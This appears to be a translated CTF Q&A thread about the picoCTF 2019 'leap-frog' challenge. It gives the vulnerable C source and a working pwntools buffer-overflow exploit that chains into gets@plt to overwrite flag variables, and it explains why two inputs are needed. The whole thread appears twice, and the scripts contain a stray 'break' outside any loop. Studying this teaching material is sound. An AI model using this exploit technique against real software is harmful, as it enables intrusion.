为什么此漏洞利用需要两次单独的有效负载注入而不是一次?
Why does this exploit require two separate payload injections rather than one?
我不熟悉二进制漏洞利用问题。这个来自picoctf 2019,leap-frog。我感兴趣的特定解决方案使用 vuln() 函数上的缓冲区溢出来强制执行到 return 以获取 PLT 条目。这样做是因为 gets 允许我们写入内存中的任意位置(参见 link)。我们有兴趣写信给 win1
、win2
和 win3
。如果我们可以将这些都设置为 true,那么我们就可以打印标志了!因此,我们需要利用该程序的是 buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables
.
来源
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define FLAG_SIZE 64
bool win1 = false;
bool win2 = false;
bool win3 = false;
void leapA() {
win1 = true;
}
void leap2(unsigned int arg_check) {
if (win3 && arg_check == 0xDEADBEEF) {
win2 = true;
}
else if (win3) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void leap3() {
if (win1 && !win1) {
win3 = true;
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void display_flag() {
char flag[FLAG_SIZE];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && win3) {
printf("%s", flag);
return;
}
else if (win1 || win3) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
以下脚本在 CTF 的 shell
中打印 运行 时的标志
解决方案脚本
from pwn import *
payload = ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# = + address_gets_plt + address_flag + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload)
p.sendline('\x01\x01\x01\x00') # sets win1, win2, win3 to true via gets reading from stdin
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()
下面的脚本 NOT 工作,但程序之间的唯一区别是这个程序合并了 sendline()
调用。我猜这是因为程序还没有到达对 gets 的调用,所以它还没有准备好从 stdin 输入。
失败的解决方案 1
from pwn import *
payload = ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# = + address_gets_plt + address_flag + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload+'\x01\x01\x01\x00')
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()
失败的解决方案 2
然后,我尝试 运行 程序而不将 '\x01\x01\x01\x00\'
附加到 payload
,希望执行会命中 gets 并等待 stdin 输入;但是,我反而遇到了段错误。对于这两个失败的解决方案,我的逻辑有什么问题?谢谢!
您需要两个不同的负载,因为有两个不同的 gets()
调用。 sendline()
将换行符附加到您的 input/payload [1], and gets()
reads input until a newline is read [2]。所以,一个 sendline()
只能养活一个 gets()
.
为什么有两次调用 gets()
?好吧,第一次调用 到 gets()
发生在 vuln()
函数中,目的是改变执行流程。如果您 运行 程序,gets()
要求用户输入并将其存储在堆栈上的 buf[16]
中。并且由于 gets()
不检查 运行s [2] 上的缓冲区,您实际上可以通过插入大于 16 字节的输入来破坏堆栈。因此,第一个 sendline()
将有效负载 ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
提供给第一个调用。这会破坏堆栈并改变执行流程。有效负载中的第一个地址 0x08048430
(gets@plt
的地址)操纵第一个 gets()
的 return 地址。因此,当第一个 gets()
完成执行时,它会跳转到第二个 gets()
。这是对 gets()
的 第二次调用 。第二个地址0x80486b3
(display_flag()
的地址)是第二个gets()
的return地址。所以当第二个调用离开时,它跳转到 display_flag()
。第三个地址 0x0804a03d
(win1
变量的地址)是第二个 gets()
的缓冲区。所以第二个 gets()
期望来自用户的另一个 input/payload 并将其写入 win1
的地址。第二个输入由第二个 sendline()
.
提供
你的第一个解决方案失败了,因为你只提供第一个 gets()
调用,所以第二个 gets()
调用根本没有输入。由于同样的原因,您的第二个解决方案失败了。
我不熟悉二进制漏洞利用问题。这个来自picoctf 2019,leap-frog。我感兴趣的特定解决方案使用 vuln() 函数上的缓冲区溢出来强制执行到 return 以获取 PLT 条目。这样做是因为 gets 允许我们写入内存中的任意位置(参见 link)。我们有兴趣写信给 win1
、win2
和 win3
。如果我们可以将这些都设置为 true,那么我们就可以打印标志了!因此,我们需要利用该程序的是 buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables
.
来源
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define FLAG_SIZE 64
bool win1 = false;
bool win2 = false;
bool win3 = false;
void leapA() {
win1 = true;
}
void leap2(unsigned int arg_check) {
if (win3 && arg_check == 0xDEADBEEF) {
win2 = true;
}
else if (win3) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void leap3() {
if (win1 && !win1) {
win3 = true;
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void display_flag() {
char flag[FLAG_SIZE];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && win3) {
printf("%s", flag);
return;
}
else if (win1 || win3) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
以下脚本在 CTF 的 shell
中打印 运行 时的标志解决方案脚本
from pwn import *
payload = ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# = + address_gets_plt + address_flag + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload)
p.sendline('\x01\x01\x01\x00') # sets win1, win2, win3 to true via gets reading from stdin
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()
下面的脚本 NOT 工作,但程序之间的唯一区别是这个程序合并了 sendline()
调用。我猜这是因为程序还没有到达对 gets 的调用,所以它还没有准备好从 stdin 输入。
失败的解决方案 1
from pwn import *
payload = ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
# = + address_gets_plt + address_flag + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload+'\x01\x01\x01\x00')
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()
失败的解决方案 2
然后,我尝试 运行 程序而不将 '\x01\x01\x01\x00\'
附加到 payload
,希望执行会命中 gets 并等待 stdin 输入;但是,我反而遇到了段错误。对于这两个失败的解决方案,我的逻辑有什么问题?谢谢!
您需要两个不同的负载,因为有两个不同的 gets()
调用。 sendline()
将换行符附加到您的 input/payload [1], and gets()
reads input until a newline is read [2]。所以,一个 sendline()
只能养活一个 gets()
.
为什么有两次调用 gets()
?好吧,第一次调用 到 gets()
发生在 vuln()
函数中,目的是改变执行流程。如果您 运行 程序,gets()
要求用户输入并将其存储在堆栈上的 buf[16]
中。并且由于 gets()
不检查 运行s [2] 上的缓冲区,您实际上可以通过插入大于 16 字节的输入来破坏堆栈。因此,第一个 sendline()
将有效负载 ('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)
提供给第一个调用。这会破坏堆栈并改变执行流程。有效负载中的第一个地址 0x08048430
(gets@plt
的地址)操纵第一个 gets()
的 return 地址。因此,当第一个 gets()
完成执行时,它会跳转到第二个 gets()
。这是对 gets()
的 第二次调用 。第二个地址0x80486b3
(display_flag()
的地址)是第二个gets()
的return地址。所以当第二个调用离开时,它跳转到 display_flag()
。第三个地址 0x0804a03d
(win1
变量的地址)是第二个 gets()
的缓冲区。所以第二个 gets()
期望来自用户的另一个 input/payload 并将其写入 win1
的地址。第二个输入由第二个 sendline()
.
你的第一个解决方案失败了,因为你只提供第一个 gets()
调用,所以第二个 gets()
调用根本没有输入。由于同样的原因,您的第二个解决方案失败了。